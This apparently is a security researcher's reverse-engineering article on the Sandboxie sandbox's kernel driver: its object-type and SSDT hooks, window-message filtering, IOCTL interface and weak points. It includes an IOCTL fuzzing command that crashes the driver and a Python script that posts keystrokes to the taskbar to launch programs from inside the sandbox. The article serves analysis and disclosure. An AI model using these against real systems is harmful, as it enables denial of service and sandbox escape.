1. Introduction:

Sandboxie is a sandbox that performs a process isolation. Its main features:

-Access control to kernel resources by direct hooks on kernel objects.

-Some ssdt and shadow ssdt hooks to control window messages.

-Some kernel registered callbacks to be notified of process creating, images loaded, …

In this article I will speak about sandoxie design and I will perform a analysis from a security point of view.

2. Sandboxie design:

Sandboxie consists of a interface application, a service, … but we are interested in two components: SbieDrv.sys, the driver that hooks in kernel, and SbieDll.dll, the dll that is injected to the sandboxed processes.

Sandboxie driver hooks in kernel to protect resources from sandboxed processes (it hooks kernel objects of type “Type”, ssdt, shadow ssdt).

Driver will put a callback with PsLoadImageNotifyRoutine and PsCreateProcessNotifyRoutine to be notified when a image is loaded or a process is created. Sandboxie driver will have a list with all sandboxed processes that must control. If the parent of a created process is sandboxed, the new process will be linked in the list of sandboxed processes too.

The resource access control is easy: if the process is sandboxed, access is denied, and i f the process is not sandboxed, access is granted.

However Sandboxie lets some resources to the sandboxed processes. In addition it builds a “parallel” file system, registry, … for sandboxed processes. For this reason Sandboxie will export a lot of functionality with Io Controls for accesing files, registry, … in a secure way. So sandboxed processes must access system resources with Sandboxie driver Io Controls.

Here it comes SbieDll. SbieDll will hook all exports for all dlls into the sandboxed processes. This dll is necessary to have the sandboxed processes working. When it hooks important apis such as ZwCrateFile, ZwCreateProcess, ZwOpenKey, …, the dll stop the normal execution flow to kernel for redirecting it to SbieDrv Io Controls (if you remove all SbieDll user mode hooks with HookShark for example, you can see that the process can’t access anything).

3. Resources access control:

Sandboxie hooks some kernel objects found in \ObjectTypes directory: token, process, thread, event, section, port and semaphore, of type “Type”. It hooks the function pointer OpenProcedure (OB_OPEN_METHOD type) to control the access to that type of objects:

OBJECT_TYPE ->OBJECT_TYPE_INITIALIZER-> OpenProcedure

Only with this it can to control file disk access, registry, …

It must control window messages too (managed by win32k.sys). It must stop some messages from sandboxed processes, windows hooks, …

To do that SbieDrv intercepts some ssdt and shadow ssdt apis:

win32k_NtUserCallHwndParamLock
win32k_NtUserDestroyWindow
win32k_NtUserShowWindow
win32k_NtUserSendInput
win32k_NtUserBlockInput
win32k_NtUserSystemParametersInfo
win32k_NtUserSetSysColors
win32k_NtUserSetSystemCursor
win32k_NtUserMessageCall
win32k_NtUserPostMessage
win32k_NtUserPostThreadMessage
win32k_NtUserSetWindowsHookEx
win32k_NtUserSetWinEventHook
nt_NtRequestPort
nt_NtRequestWaitReplyPort
nt_NtTraceEvent

3.1. \ObjectTypes hooks:

We are going to analyze objects under \ObjectTypes and we will take Token object for this analysis with windbg:

WINDBG>!object \ObjectTypes
Object: e1000548  Type: (819f1418) Directory
ObjectHeader: e1000530 (old version)
HandleCount: 0  PointerCount: 25
Directory Object: e1001520  Name: ObjectTypes
Hash Address  Type          Name
—- ——-  —-          —-
00  819f1418 Type          Directory
01  819ccca0 Type          Thread
819c95e0 Type          Mutant
03  8198cca0 Type          FilterCommunicationPort
05  819b8e70 Type          Controller
07  819c8ca0 Type          Profile
819c9980 Type          Event
819f15e8 Type          Type
09  819c8560 Type          Section
819c97b0 Type          EventPair
819f1248 Type          SymbolicLink
10  819c8730 Type          Desktop
11  819c8e70 Type          Timer
12  819b8730 Type          File
819c8900 Type          WindowStation
16  819b8ad0 Type          Driver
18  819eb910 Type          WmiGuid
819c8ad0 Type          KeyedEvent
19  819cc040 Type          Token
819b8ca0 Type          Device
20  819cc408 Type          DebugObject
21  819b8900 Type          IoCompletion
22  819cce70 Type          Process
24  819f0300 Type          Adapter
26  819c5980 Type          Key
28  819ccad0 Type          Job
31  819f0708 Type          WaitablePort
819f08d8 Type          Port
32  819c9410 Type          Callback
33  8198ce70 Type          FilterConnectionPort
34  819c8040 Type          Semaphore
WINDBG>!object 819cc040
Object: 819cc040  Type: (819f15e8) Type
ObjectHeader: 819cc028 (old version)
HandleCount: 0  PointerCount: 1
Directory Object: e1000548  Name: Token

WINDBG>dt _OBJECT_TYPE 819cc040
ntdll!_OBJECT_TYPE
+0×000 Mutex            : _ERESOURCE
+0×038 TypeList         : _LIST_ENTRY [ 0x819cc078 - 0x819cc078 ]
+0×040 Name             : _UNICODE_STRING “Token”
+0×048 DefaultObject    : 0×80558cc0
+0×04c Index            : 4
+0×050 TotalNumberOfObjects : 0×1a
+0×054 TotalNumberOfHandles : 0×10
+0×058 HighWaterNumberOfObjects : 0×1d
+0×05c HighWaterNumberOfHandles : 0×14
+0×060 TypeInfo         : _OBJECT_TYPE_INITIALIZER
+0×0ac Key              : 0×656b6f54
+0×0b0 ObjectLocks      : [4] _ERESOURCE

Como vemos de \ObjectTypes cuelgan varios objetos de tipo Type. La estructura de estos objetos es de tipo _OBJECT_TYPE.

We are interested on OBJECT_TYPE structure and OBJECT_TYPE_INITIALIZER because into this sub-structure we find the pointer to OpenProcedure and other callbacks (open, close, delete, …).

typedef struct _OBJECT_TYPE_INITIALIZER {
USHORT Length;   2 bytes
BOOLEAN UseDefaultObject; 1 byte
BOOLEAN Reserved; 1 byte
ULONG InvalidAttributes; 4 bytes
GENERIC_MAPPING GenericMapping; 16 bytes
ULONG ValidAccessMask; 4 bytes
BOOLEAN SecurityRequired; 1 byte
BOOLEAN MaintainHandleCount; 1 byte
BOOLEAN MaintainTypeList; 1 byte
POOL_TYPE PoolType; 1 byte
ULONG ObjectTypeCode; 4 bytes //-> this field depends on the OS version, it can
//to be here or not so the offset of OpenProcedure
//can to be +30h or +34h.
ULONG DefaultPagedPoolCharge; 4 bytes
ULONG DefaultNonPagedPoolCharge; 4 bytes
//——
OB_DUMP_METHOD DumpProcedure; 4 bytes
OB_OPEN_METHOD OpenProcedure; 4 bytes
OB_CLOSE_METHOD CloseProcedure; 4 bytes
OB_DELETE_METHOD DeleteProcedure; 4 bytes
OB_PARSE_METHOD ParseProcedure; 4 bytes
OB_SECURITY_METHOD SecurityProcedure; 4 bytes
OB_QUERYNAME_METHOD QueryNameProcedure; 4 bytes
OB_OKAYTOCLOSE_METHOD OkayToCloseProcedure; 4 bytes
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;
The field ObjectTypeCode only exists with some OS versions and builds. SbieDrv has in mind this fact.
OpenProcedure pointer is OB_OPEN_METHOD:
typedef NTSTATUS
(NTAPI *OB_OPEN_METHOD)(
IN OB_OPEN_REASON Reason,
IN PEPROCESS Process OPTIONAL,
IN PVOID ObjectBody,
IN ACCESS_MASK GrantedAccess,
IN ULONG HandleCount
);


This callback is called when a object of that type (process, token, …) is opened.

SbieDrv hooks the callback OpenProcedure for token, process, thread, event, section, port and semaphore Types. In the next capture we see SbieDrv calling the function that will perform the hook:

It checks OS version and build number to calculate offsets to OpenProcedure into OBJECT_TYPE structure:

——
If version < 4:
If BuildNumber <= 1770h:
OpenProcedureOffset = pTypeObjHeader+30h+60h
Else:
OpenProcedureOffset = pTypeObjHeader+30h+28h
Else:
If BuildNumber <= 1770h:
OpenProcedureOffset = pTypeObjHeader+30h+60h
Else:
OpenProcedureOffset = pTypeObjHeader+34h+28h
——

It creates a code block for the hook that will write into system memory. Surely the OS checks that OpenProcedure is pointing to OS memory, or KeBugCheck is called. The blocks used for hooking will check always if the current process is a sandboxed process, and it will deny the access in that case. Else, it will grant the access.

This function that i called “ComprobarProcessIdEnListaDeSandboxeadosObtenerEstructura” searchs the current process in the list of sandboxed processes.

In the next image we can see the code where SbieDrv will create the block code for hooks, and where it overwrite OpenProcedure with its pointer.

3.2. Ssdt and shadow ssdt hooks:

Sandboxie hooks these apis:

win32k_NtUserCallHwndParamLock
win32k_NtUserDestroyWindow
win32k_NtUserShowWindow
win32k_NtUserSendInput
win32k_NtUserBlockInput
win32k_NtUserSystemParametersInfo
win32k_NtUserSetSysColors
win32k_NtUserSetSystemCursor
win32k_NtUserMessageCall
win32k_NtUserPostMessage
win32k_NtUserPostThreadMessage
win32k_NtUserSetWindowsHookEx
win32k_NtUserSetWinEventHook
nt_NtRequestPort
nt_NtRequestWaitReplyPort
nt_NtTraceEvent


Most of them are related to controlling window messages from sandboxed applications. We are going to analyze the win32k_NtUserMessageCall hook:

Hook_Win32k_Gestiona_MensajeDeVentana is a function that will performs checks over a window message sent by a sandboxed process to know if the message must be denied or not.

-It gets the process id of the sender and the receiver of the message. If the process that will receive the message is sandboxed, the message is not denied.

-If the message is 0×3e4 it’s not denied.

-It gets the target window class name. SbieDrv has a list of window class names to be managed with some exceptions:

TrayNotifyWnd
SystemTray_Main
Connections Tray
MS_WebcheckMonitor
PrintTray_Notify_WndClass
CicLoaderWndClass
CicMarshalWndClass
Logitech Wingman Internal Message Router
devldr
CTouchPadSynchronizer
Type32_Main_Window
TForm_AshampooFirewall
WinVNC desktop sink
Afx:400000:0
NVIDIA TwinView Window
Shell_TrayWnd

It needs to add this exceptions to let some well known applications to run without problem into the sandbox: explorer, some navigators, etc…

-If the target of the message is a non-sanboxed process, and the sender is a sandboxed process:

a) If the target window class name is not a class of the previous list, the message is denied.

b) If the target windows class name is in the list:

1. If message < WM_USER(0×400), this messages are denied:

2h – WM_DESTROY
0Bh – WM_SETREDRAW
10h – WM_CLOSE
11h – WM_QUERYENDSESSION
12h – WM_QUIT
16h – WM_ENDSESSION
3Bh -
4Eh – WM_NOTIFY
82h – WM_NCDESTROY
111h – WM_COMMAND
112h – WM_SYSCOMMAND
319h

The other messages are granted.

2. If message > WM_USER, it depends of the window class name. For  example, it will grant msg 0×4ec for Shell_trayWnd.

4. Io Controls:

Sandboxie device is:

\device\SandboxieDriverApi

Io Controls must be:

DeviceType = FILE_DEVICE_UNKNOWN = 0×00000022
Function = 0×801
Method = METHOD_NEITHER
Access = 0

CTL_CODE(0×00000022, 0×801, METHOD_NEITHER, 0);

User buffer has a 0×8 <= size <= 0×40 bytes. The first DWORD is always 0×123400XX. It is the id of the operation to perform.

SbieDrv has a list with all ids associated with the function to manage them:

0×12340001:
[0x12340001][XXXXXXXX][ptr mem user out]
Query sandboxie version string.
0×12340002:
[0x12340002][XXXXXXXX][XXXXXXXX][XXXXXXXX][ ptr mem user out] [XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX]
Query sandboxed processes list.
0×12340003:
Write a file.
0×12340007:
[0x12340007][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][ptr mem user out]
0×12340008:
[0x12340008][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX] [XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][ ptr mem user][XXXXXXXX][ptr mem usr][XXXXXXXX][ptr mem usr]
0×12340009: Get object from pid.
0×1234000a
0×1234000b: query info about a sandboxed process.
0×1234000c: Query system time.
0×1234000d: Unprotect user mode memory.
[0x1234000D][XXXXXXXX][ptr funcion modo usuario][XXXXXXXX][ptr memoria usuario info hook]
0×1234000f: Query a sandbox option:
DisableBoxedWinSxS
InjectDll
AutoExec
OpenProtectedStorage
OpenCredentials
OpenWinClass
NoRenameWinClass
BoxNameTitle
ClsidTrace
OpenClsid
StartService
StartProgram
AutoRecover
RecoverFolder
AutoRecoverIgnore
0×12340010: Ask to the driver to update with sandboxie.ini y templates.ini (The driver will parse ini files).
0×12340011
0×12340015
0×12340016: Ask the driver to hook ssdt and shadow ssdt.
0×12340019
0×1234001e
0×1234001f: Related with access to disk.
0×12340021
0×12340024
0×12340025
0×12340026
0×12340028
0×1234002b: Get process handle.

5. Sandboxie security:

5.1. Fuzzing Io Controls:

Here is a simple fuzzing using Kartoffel (kartoffel.reversemode.com):

FOR %%A IN (0 1 2) DO FOR %%B IN (0 1 2 3 4 5 6 7 8 9 A B C D E F) DO Kartoffel -d \device\SandboxieDriverApi -n 0×40 -o 0×40 -z 0×40 -Z 0×40 -I 0×222007 -u CUSTOM,”[P=0x123400%%A%%B::*0][B=0x41::*0x3c$4][!!]“

With this command line we sent Io Controls with size 0×40, and with id from 0×12340001 to 0×1234002f, with a buffer filled with ‘A’.

[0x123400XX][AAAAAAAAAAAAAAAAAAAAAAA…]

It is a really simple fuzzing, but it’s enough to get a bug check for 0×12340027 id:

WINDBG>!analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
DRIVER_CORRUPTED_MMPOOL (d0)
Arguments:
Arg1: 6b757a74, memory referenced
Arg2: 00123400, IRQL
Arg3: 00000000, value 0 = read operation, 1 = write operation
Arg4: 12340027, address which referenced memory
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high. This is
caused by drivers that have corrupted the system pool. Run the driver
verifier against any new (or suspect) drivers, and if that doesn’t turn up
the culprit, then use gflags to enable special pool. You can also set
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ProtectNonPagedPool
to a DWORD 1 value and reboot. Then the system will unmap freed nonpaged pool,
preventing drivers (although not DMA-hardware) from corrupting the pool.
Debugging Details:
——————
*************************************************************************
*** ***
*** ***
*** Your debugger is not using the correct symbols ***
*** ***
*** In order for this command to work properly, your symbol path ***
*** must point to .pdb files that have full type information. ***
*** ***
*** Certain .pdb files (such as the public OS symbols) do not ***
*** contain the required information. Contact the group that ***
*** provided you with these symbols if you need this command to ***
*** work. ***
*** ***
*** Type referenced: kernel32!pNlsUserInfo ***
*** ***
*************************************************************************
*************************************************************************
*** ***
*** ***
*** Your debugger is not using the correct symbols ***
*** ***
*** In order for this command to work properly, your symbol path ***
*** must point to .pdb files that have full type information. ***
*** ***
*** Certain .pdb files (such as the public OS symbols) do not ***
*** contain the required information. Contact the group that ***
*** provided you with these symbols if you need this command to ***
*** work. ***
*** ***
*** Type referenced: kernel32!pNlsUserInfo ***
*** ***
*************************************************************************
READ_ADDRESS: 6b757a74  (kuzt -> tzuk -> el nombre del autor)
CURRENT_IRQL: 123400
FAULTING_IP:
+5c1952f0012c4f0
12340027 ?? ???
DEFAULT_BUCKET_ID: DRIVER_FAULT
BUGCHECK_STR: 0xD0
PROCESS_NAME: Kartoffel.exe
LAST_CONTROL_TRANSFER: from 804f7b27 to 8052716c
STACK_TEXT:
f7642750 804f7b27 00000003 f7642aac 00000000 nt!RtlpBreakWithStatusInstruction
f764279c 804f8714 00000003 c0000005 00000000 nt!KiBugCheckDebugBreak+0×19
f7642b7c 804f8c3f 000000d0 6b757a74 00123400 nt!KeBugCheck2+0×574
f7642b9c f7cce31f 000000d0 6b757a74 00123400 nt!KeBugCheckEx+0×1b
WARNING: Stack unwind information not available. Following frames may be wrong.
f7642c34 804ee0ef 81740340 817398a0 806d12d0 SbieDrv+0×131f
f7642c44 80574032 81739910 818b2b88 817398a0 nt!IopfCallDriver+0×31
f7642c58 80574ec1 81740340 817398a0 818b2b88 nt!IopSynchronousServiceTail+0×60
f7642d00 8056d81e 000007b4 00000000 00000000 nt!IopXxxControlFile+0×5e7
f7642d34 8053cbc8 000007b4 00000000 00000000 nt!NtDeviceIoControlFile+0×2a
f7642d34 7c91eb94 000007b4 00000000 00000000 nt!KiFastCallEntry+0xf8
0012eca4 7c91d8ef 7c8016be 000007b4 00000000 ntdll!KiFastSystemCallRet
0012eca8 7c8016be 000007b4 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
0012ed08 0040617d 000007b4 00222007 003b0808 kernel32!DeviceIoControl+0×78
0012fee4 0040a9cd 0000000f 003b0b40 003b0c10 Kartoffel+0×617d
0012ffc0 7c816ff7 0000001a 00000000 7ffdd000 Kartoffel+0xa9cd
0012fff0 00000000 0040a85a 00000000 78746341 kernel32!BaseProcessStart+0×23
STACK_COMMAND: kb
FOLLOWUP_IP:
SbieDrv+131f
f7cce31f 8bf7 mov esi,edi
SYMBOL_STACK_INDEX: 4
SYMBOL_NAME: SbieDrv+131f
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: SbieDrv
IMAGE_NAME: SbieDrv.sys
DEBUG_FLR_IMAGE_TIMESTAMP: 4d8b29aa
FAILURE_BUCKET_ID: 0xD0_SbieDrv+131f
BUCKET_ID: 0xD0_SbieDrv+131f
Followup: MachineOwner
———
Sorting ‘Functions window’… ok

KeBugCheck is called from SbieDrv so it is only a non dangerous DoS (we can cause it from a sandboxed process), but we can see that a simple fuzzing causes a crash, and this fact makes me suspicious of Sandboxie robusticity.

5.2. Sending window messages to Shell_TrayWnd (excluded window):

Shell_TrayWnd is a window class name that Sandboxie will give a special management. Sandboxie will let to send more window messages to these window class name from the sandboxed processes.

The next script shows how these additional messages let us to launch application linked from the start menu from a sandboxed process:

import random
random.seed()

VK_LEFT=0×25
VK_UP=0×26
VK_RIGHT=0×27
VK_DOWN=0×28
VK_RETURN=0×0d
VK_TAB=0×09
VK_SHIFT=0×10
VK_CONTROL=0×11
VK_MENU=0×12

import ctypes
import time
from ctypes.wintypes import DWORD, HWND, HANDLE, LPCWSTR, WPARAM, LPARAM, RECT, POINT
trayRect=RECT(0,0,0,0)
trayWindow = ctypes.windll.user32.FindWindowExA(0,0,”Shell_TrayWnd”,0)
trayNotifyWindow = ctypes.windll.user32.FindWindowExA(trayWindow,0,”TrayNotifyWnd”,0)

def PressKey(hwin,key):
msgkeydown=0×100
msgkeyup=0×101
ctypes.windll.user32.PostMessageA(hwin, msgkeydown, key, 0) #KEYDOWN
time.sleep(0.1)
ctypes.windll.user32.PostMessageA(hwin, msgkeyup, key, 0) #KEYUP
time.sleep(0.1)

ctypes.windll.user32.PostMessageA(trayWindow, 0xa1, 1, 0×200020) #WM_NCLBUTTONDOWN
ctypes.windll.user32.PostMessageA(trayWindow, 0xa2, 0, 0×200020) #WM_NCLBUTTONUP
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_RIGHT)
PressKey(trayWindow, VK_RIGHT)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_RETURN)

(The key pressed in this script will lauch calc.exe in my system, with the disposition of my start menu).

This is not a high security risk but I think it is not the good behaviour for a sandbox.

5.3. Long names:

Sandboxie have problems with long names (more than MAX_PATH and less than 32767 wide chars) because LoadImageNitifyRoutine image name param comes with NULL.

I have not found security risks here but I have found some strange behaviours that will not appears if Sandboxie is not installed.

This detail mades us to think it is risky to intercept so much things in kernel, and  difficult to have in mind all possibilities and cases.

5.4. Complex formats parsing:

From my point of view, Sandboxie has risky code in kernel.

For example, SbieDrv LoadImageNotifyRoutine callback parses in depth PE Headers of the loaded image (directly in user mode).

0×12340010 io control opens and parses .ini files from kernel:

SbieDrv disassembles instructions for hooking functions of kernel and user mode, to keep instructions at entry point of the function that will be overwritten.

5.5. Conclusion:

From my point of view process isolation sandboxs have a intrinsic risk:

-It is difficult to intercept all that sandboxed process should not have access.

-It will introduce risky code in sensitive points of the system.

-Hooks and changes to the system will depend of the system version and build, and lof of times they will be dirty and undocumented.

-Surely you will need to add some exceptions in the way that Sandboxie does.

-Specifically, Sandboxie has risky code in kernel: PE headers parsing, ini files parsing.

My conclusion about Sandboxie is that it is a useful tool. I would run a navigator or a pdf reader sandboxed, to help to protect myself from vulnerabilities, but I wouldn’t run a malware to analyze its behaviour in Sandboxie, unless Sandboxie was running in vmware, bochs or other virtual machine.